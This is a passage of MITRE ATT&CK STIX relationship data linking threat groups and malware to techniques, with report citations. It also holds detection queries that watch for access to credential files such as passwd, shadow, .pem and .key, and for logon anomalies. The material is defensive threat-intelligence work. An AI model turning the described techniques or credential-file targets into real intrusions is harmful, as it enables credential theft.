TargetObject=\"*credential*\") OR\n(index=os sourcetype=\"linux_audit\" action=\"open\" filepath IN (\"*password*\", \"*credential*\", \"*passwd*\", \"*shadow*\", \"*.pem\", \"*.key\")) OR\n(index=os sourcetype=\"macos_secure\" event_type=\"open\" file_path IN (\"*password*\", \"*credential*\", \"*passwd*\", \"*shadow*\", \"*.pem\", \"*.key\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e07051b0-e563-47bc-907e-67b488068d02","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:12:19.481Z","description":"Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Default screen saver files are stored in C:\\Windows\\System32. Use these files as a reference when defining list of not suspicious screen saver files.\n\nAnalytic 1 - Registry Edit from Screensaver\n\nsource=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode IN (13, 14) TargetObject=\"*\\Software\\Policies\\Microsoft\\Windows\\Control Panel\\Desktop\\SCRNSAVE.EXE\"","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e071665f-e6a6-4d73-bd09-2c5d93655486","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e07acc2b-6a92-423e-85be-a9caed4a8ee6","type":"relationship","created":"2020-10-20T00:05:48.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-20T00:05:48.864Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc","target_ref":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e07b76a4-98d7-4adc-b90e-a1f7f2266867","type":"relationship","created":"2019-01-30T15:33:07.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.355Z","description":"[APT1](https://attack.mitre.org/groups/G0006) listed connected network shares.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e07d9070-6989-43e7-aee0-1b18aff1ffbe","type":"relationship","created":"2021-01-25T13:58:25.163Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-01-25T13:58:25.163Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) contains a function that calls LoadLibrary and GetProcAddress.(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e08a510f-65b2-4676-9667-848166ba22b4","type":"relationship","created":"2021-06-29T15:23:23.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-29T15:23:23.122Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can use RC4 to encrypt C2 communications.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e08f461a-7ebb-41e8-8e97-9ade8f52e4e2","created":"2023-12-06T19:20:35.307Z","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-06T19:20:35.307Z","description":"[Mustard Tempest](https://attack.mitre.org/groups/G1020) has used implants to perform system reconnaissance on targeted systems.(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e08fbaf9-0efe-41b1-99f7-ec61f38b175c","created":"2022-09-30T20:27:13.603Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:27:13.603Z","description":"[Mis-Type](https://attack.mitre.org/software/S0084) has temporarily stored collected information to the files `“%AppData%\\{Unique Identifier}\\HOSTRURKLSR”` and `“%AppData%\\{Unique Identifier}\\NEWERSSEMP”`.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e090281c-4ab9-4b6f-ab63-f22606f7e620","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Obfuscation June 2017","description":"Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.","url":"https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"},{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"},{"source_name":"Bitdefender FIN8 July 2021","description":"Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.","url":"https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation"},{"source_name":"Symantec FIN8 Jul 2023","description":"Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-06T15:42:22.918Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used a Batch file to automate frequently executed post compromise cleanup activities.(Citation: FireEye Know Your Enemy FIN8 Aug 2016) [FIN8](https://attack.mitre.org/groups/G0061) has also executed commands remotely via `cmd.exe`.(Citation: FireEye Obfuscation June 2017)(Citation: Bitdefender FIN8 July 2021)(Citation: Symantec FIN8 Jul 2023)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e0922165-ba76-4dc0-8625-b77a82818d77","created":"2024-07-30T14:13:51.930Z","revoked":false,"external_references":[{"source_name":"ESET WinterVivern 2023","description":"Matthieu Faou. (2023, October 25). Winter Vivern exploits zero-day vulnerability in Roundcube Webmail servers. Retrieved July 29, 2024.","url":"https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-30T14:13:51.930Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) delivered malicious JavaScript payloads capable of listing folders and emails in exploited email servers.(Citation: ESET WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e09816fa-78e1-439e-8b57-dfcb9f08a3fb","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor newly executed processes that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e0999d7e-deec-446b-a86b-4c8988e20a96","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:51:47.538Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) modifies an HKCU Registry key to store a session identifier unique to the compromised system as well as a pre-shared key used for encrypting and decrypting C2 communications.(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e09c37a3-ae23-403e-93d5-aef4953bd43c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","source_name":"Symantec Orangeworm April 2018"}],"modified":"2019-03-25T15:36:46.805Z","description":"[Orangeworm](https://attack.mitre.org/groups/G0071) has copied its backdoor across open network shares, including ADMIN$, C$WINDOWS, D$WINDOWS, and E$WINDOWS.(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e09fd624-7298-4bd0-8a38-90ba0eec6fbd","created":"2021-04-09T15:11:36.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 Hildegard Malware","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:19:04.439Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has encrypted an ELF file.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0a0966c-7a2f-41b3-962f-3a6b22a5a8a9","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Reaver Nov 2017","description":"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"}],"modified":"2020-03-17T02:22:51.851Z","description":"[Reaver](https://attack.mitre.org/software/S0172) collects the victim's username.(Citation: Palo Alto Reaver Nov 2017)","relationship_type":"uses","source_ref":"malware--65341f30-bec6-4b1d-8abf-1a5620446c29","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e0a19456-e5f7-4b08-884d-188a9fc173ef","created":"2024-05-22T20:30:05.188Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T20:30:05.188Z","description":"[Apostle](https://attack.mitre.org/software/S1133) creates new, encrypted versions of files then deletes the originals, with the new filenames consisting of a random GUID and \".lock\" for an extension.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--48d96fa0-d027-45aa-a8c3-5d09f65d596d","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0a7e8ca-a199-4909-a4da-302bcc6216e6","type":"relationship","created":"2022-01-24T17:00:32.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-24T17:00:32.570Z","description":"[CharmPower](https://attack.mitre.org/software/S0674) has the ability to download additional modules to a compromised host.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e0a83a2e-f0c5-4d3d-b053-9a56ef9f7b8e","created":"2023-05-24T18:27:07.790Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-24T18:27:07.790Z","description":"(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"campaign--c89fa3ff-4773-4daf-8aec-d8f43f10116e","target_ref":"tool--30489451-5886-4c46-90c9-0dff9adc5252","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0aaa143-5c5f-4c58-8ace-d05b037bf4b6","type":"relationship","created":"2021-03-19T13:23:53.228Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2021-03-19T13:23:53.228Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used tracert to check internet connectivity.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e0aec1e0-7ac0-4ac0-834c-26f33bb4e852","created":"2024-05-16T17:42:14.241Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-16T17:42:14.241Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has gathered victim identify information during pre-compromise reconnaissance. (Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e0b271fb-3d06-47db-9b35-85eb7f7efee6","created":"2022-03-30T14:26:51.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T16:18:42.029Z","description":"Monitor for newly constructed logon behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nAnalytic 1 - Unusual logon patterns and times.\n\n index=linux_logs OR index=macos_logs\n(source=\"/var/log/secure\" OR source=\"/var/log/auth.log\" OR source=\"/var/log/system.log\")\n(\"session opened\" OR \"session closed\")\n| eval is_normal_hours=if(hour(_time) >= 8 AND hour(_time) <= 18, 1, 0)\n| search NOT [search index=linux_logs OR index=macos_logs (source=\"/etc/pam.d/*\" OR source=\"/etc/passwd\" OR source=\"/etc/shadow\") action=modified | fields user]","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0b5c501-c949-4b60-8e2e-37a584dba8fe","type":"relationship","created":"2020-05-18T20:04:59.438Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-18T20:04:59.438Z","description":"[SHARPSTATS](https://attack.mitre.org/software/S0450) has the ability to identify the current date and time on the compromised host.(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--73c4711b-407a-449d-b269-e3b1531fe7a9","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0b775d4-cfc4-4075-a72b-6a866ef3c159","type":"relationship","created":"2020-06-16T20:51:13.210Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:13.210Z","description":"[RTM](https://attack.mitre.org/software/S0148) has relied on users opening malicious email attachments, decompressing the attached archive, and double-clicking the executable within.(Citation: Unit42 Redaman January 2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0bb9da4-4cf5-4fcc-89c9-2cf174a34cae","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 VERMIN Jan 2018","description":"Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}],"modified":"2020-03-16T19:50:58.011Z","description":"[VERMIN](https://attack.mitre.org/software/S0257) gathers the username from the victim’s machine.(Citation: Unit 42 VERMIN Jan 2018)","relationship_type":"uses","source_ref":"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0bc7e9b-aec8-4e78-baed-f635ee7bd196","type":"relationship","created":"2017-05-31T21:33:27.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"},{"description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","source_name":"FireEye FIN6 Apr 2019"}],"modified":"2020-03-19T22:55:47.201Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used [Windows Credential Editor](https://attack.mitre.org/software/S0005) for credential dumping.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)\t\n","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e0c1c9b9-b36e-4157-8dc1-26cd9ae25193","created":"2019-09-24T12:31:43.678Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation 